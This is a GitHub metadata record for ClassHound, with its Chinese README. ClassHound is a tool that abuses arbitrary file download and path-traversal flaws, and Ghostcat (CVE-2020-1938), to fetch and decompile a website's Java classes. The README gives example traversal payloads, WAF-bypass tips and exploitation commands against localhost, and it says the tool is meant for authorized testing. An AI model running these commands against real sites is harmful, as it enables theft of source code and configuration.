{"id":13843709,"url":"https://github.com/LandGrey/ClassHound","last_synced_at":"2025-07-11T19:33:19.518Z","repository":{"id":42077962,"uuid":"190628397","full_name":"LandGrey/ClassHound","owner":"LandGrey","description":"利用任意文件下载漏洞循环下载反编译 Class 文件获得网站 Java 源代码","archived":false,"fork":false,"pushed_at":"2021-05-10T02:20:35.000Z","size":4368,"stargazers_count":699,"open_issues_count":0,"forks_count":92,"subscribers_count":9,"default_branch":"master","last_synced_at":"2025-05-25T00:07:39.828Z","etag":null,"topics":["auto-downloader","cnvd-2020-10487","cve-2020-1938","decompile-java-class","file-read-vulnerability","ghostcat"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/LandGrey.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2019-06-06T18:13:16.000Z","updated_at":"2025-05-07T03:48:46.000Z","dependencies_parsed_at":"2022-08-12T04:11:00.873Z","dependency_job_id":null,"html_url":"https://github.com/LandGrey/ClassHound","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/LandGrey/ClassHound","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LandGrey%2FClassHound","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LandGrey%2FClassHound/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LandGrey%2FClassHound/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LandGrey%2FClassHound/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/LandGrey","download_url":"https://codeload.github.com/LandGrey/ClassHound/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/LandGrey%2FClassHound/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":264886624,"owners_count":23678545,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["auto-downloader","cnvd-2020-10487","cve-2020-1938","decompile-java-class","file-read-vulnerability","ghostcat"],"created_at":"2024-08-04T17:02:24.996Z","updated_at":"2025-07-11T19:33:19.039Z","avatar_url":"https://github.com/LandGrey.png","language":"Python","funding_links":[],"categories":["Python","Python (1887)"],"sub_categories":[],"readme":"# ClassHound\n**利用任意文件下载漏洞自动循环下载并反编译class文件获得网站源码**\n\n![Version](https://img.shields.io/badge/version-2.1-green.svg) ![License](https://img.shields.io/badge/license-MIT-red.svg) [![Python Version](https://img.shields.io/badge/python-2.7\u00263.7-orange.svg)](https://www.python.org/)  \n\n\n\n### 注意事项\n\n```\n1. 使用过程中的 bug 和优化建议欢迎提 issue\n2. 程序运行请先安装 requirements.txt 中的 python 模块, 并配置好 java 环境变量\n3. 程序仅作为安全研究和授权测试使用, 开发人员对因误用和滥用该程序造成的一切损害概不负责\n```\n\n\n\n### 下载安装\n\n```bash\ngit clone --depth=1 --branch=master https://www.github.com/LandGrey/ClassHound.git\ncd ClassHound/\nsudo pip install -r requirements.txt\nsudo chmod +x classhound.py\npython classhound.py -h\n```\n\n\n\n### 使用效果\n\n![GIF.gif](https://raw.githubusercontent.com/LandGrey/ClassHound/master/resource/GIF.gif)\n\n\n\n### 使用方法\n\n### 0x00: 指定目标链接\n\n#### 参数：-u/--url\n\n指定可 **正常下载文件** 的链接, 并默认使用 `#` 字符标记任意文件下载漏洞的文件位置\n\n```html\n例如可正常下载 1.png 文件的链接如下：http://127.0.0.1/download.jsp?path=images/1.png\n任意文件下载漏洞载荷位置正好在 1.png，可以使用命令：\npython classhound.py -u \"http://127.0.0.1/download.jsp?path=images/#1.png#\"\n\n或者使用链接 http://127.0.0.1/download.jsp?path=../../../WEB-INF/web.xml 可正常下载文件时,\n也可使用命令: \npython classhound.py -u \"http://127.0.0.1/download.jsp?path=#../../../WEB-INF/web.xml#\"\n```\n\n\n\n### *0x01:* 指定下载失败关键词\n\n#### 参数：-k/--keyword\n\n指定**下载失败时**页面会出现的关键字，可用来辅助程序判断是否下载成功\n\n```html\n如 -k \"404 not found\" ，不清楚或不固定时，可以不指定\n```\n\n\n\n### *0x02:* 指定POST请求数据\n\n#### 参数：-p/--post\n\n使用 POST 请求下载文件\n\n```\npython classhound.py -u \"http://127.0.0.1/download.jsp\" --post \"path=images/#1.png#\"\n```\n\n\n\n### *0x03:* 指定文件遍历字符\n\n#### 参数：-tc/--travel-char  (推荐使用)\n\n直接指定**文件遍历字符**，默认是 `../`\n\n```\n当\n\n1. 已知文件遍历字符\n2. 需要通过更改文件遍历字符绕过 WAF\n3. 程序没有自动探测出来特殊的遍历字符时\n\n推荐显示使用该选项，会减少不必要的探测请求，程序不容易出错\n```\n\n\n\n### *0x04:* 指定遍历字符数量\n\n#### 参数：-cc/--char-count  (推荐使用)\n\n直接指定下载 `WEB-INF/web.xml` 文件时的**遍历字符数量**\n\n\n\n```\n程序没有自动探测出来遍历字符数量时，可以单独指定\n\n例如，可使用 http://127.0.0.1/download.jsp?path=../../../WEB-INF/web.xml 下载 WEB-INF/web.xml 文件时，此时的遍历字符数量为 3 个\n\n可使用命令：\npython classhound.py -u \"http://127.0.0.1/download.jsp?path=images/#1.png#\" -tc \"../\" -cc 3\n```\n\n\n\n### *0x05:* 指定父路径\n\n#### 参数：-bp/--base-path\n\n指定 `WEB-INF/web.xml` 的父路径\n\n\n\n```\n例如当因目录原因，直接跳目录用 ../../../WEB-INF/web.xml 并不能下载 WEB-INF/web.xml 文件，需要用 ../../../../../../../opt/tomcat/webapps/cms/WEB-INF/web.xml 才可以下载成功时：\n\n可以用 \n-bp opt/tomcat/webapps/cms/  (注意参数值前面无 /，后面有 /)\n指定需要拼接的父路径，同时用 -tc ../ 指定文件遍历字符，用 -cc 7 指定需要 7 个遍历字符\n```\n\n\n\n### *0x06:* tomcat ajp 任意文件读取漏洞利用（CVE-2020-1938）\n\n#### 参数：-vul ghostcat\n\n指定使用该漏洞来下载 class 和配置文件\n\n\n\n```\n常与 --ajp-port 参数一起使用，指定目标的 ajp 服务监听端口号，默认 8009\n\n完整示例：\npython classhound.py -u \"http://127.0.0.1:8080/\" -vul ghostcat --ajp-port 8009\n```\n\n\n\n### 其他参数\n\n```markdown\n## -s\n设置两次HTTP请求间的 sleep time，暂停N秒，防止请求过于频繁被 waf 拦截\n\n## -f\n如果想顺带下载些其他已知文件, 可将服务器文件的相对路径一行一个写入文件中, 然后用 -f 参数指定文件\n相对路径的文件下载可能需要不一样数量的遍历字符, 可以同时启用 -a/--auto 参数，程序会尝试不同数量的遍历字符\n例如创建文件 download.txt，内容如下:\n/etc/issue\ninstall/index.jsp\napplication.properties\nROOT/META-INF/MANIFEST.MF\nWEB-INF/classes/me/landgrey/config/config.class\n\n## -a\n自动切换遍历字符数量，常和 -f 参数一起使用\n\n## -dc\n设置标记漏洞的分隔符，默认为 #\n\n## -mc\n设置自动探测时尝试的最大遍历字符数量, 默认 8\n\n## -hh\n设置请求时的额外 HTTP header\n\n## -hp\n设置 HTTP/HTTPS 代理\n\n```\n\n\n\n### 程序修改\n\n极少数情况下，下载的文件可能会被二次处理，比如`在文件头部或尾部添加额外字符`、`文件被编码`等。\n\n此时，可以修改程序中的 `save_file` 函数，在文件在保存到本地前，对文件做额外处理，还原成正常的 `xml` 或 `class` 文件。\n\n\n\n### 依赖开源程序\n\nClass 反编译工具 [https://github.com/leibnitz27/cfr](https://github.com/leibnitz27/cfr)\n\nGhostcat利用脚本 [https://github.com/00theway/Ghostcat-CNVD-2020-10487](https://github.com/00theway/Ghostcat-CNVD-2020-10487)\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FLandGrey%2FClassHound","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FLandGrey%2FClassHound","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FLandGrey%2FClassHound/lists"}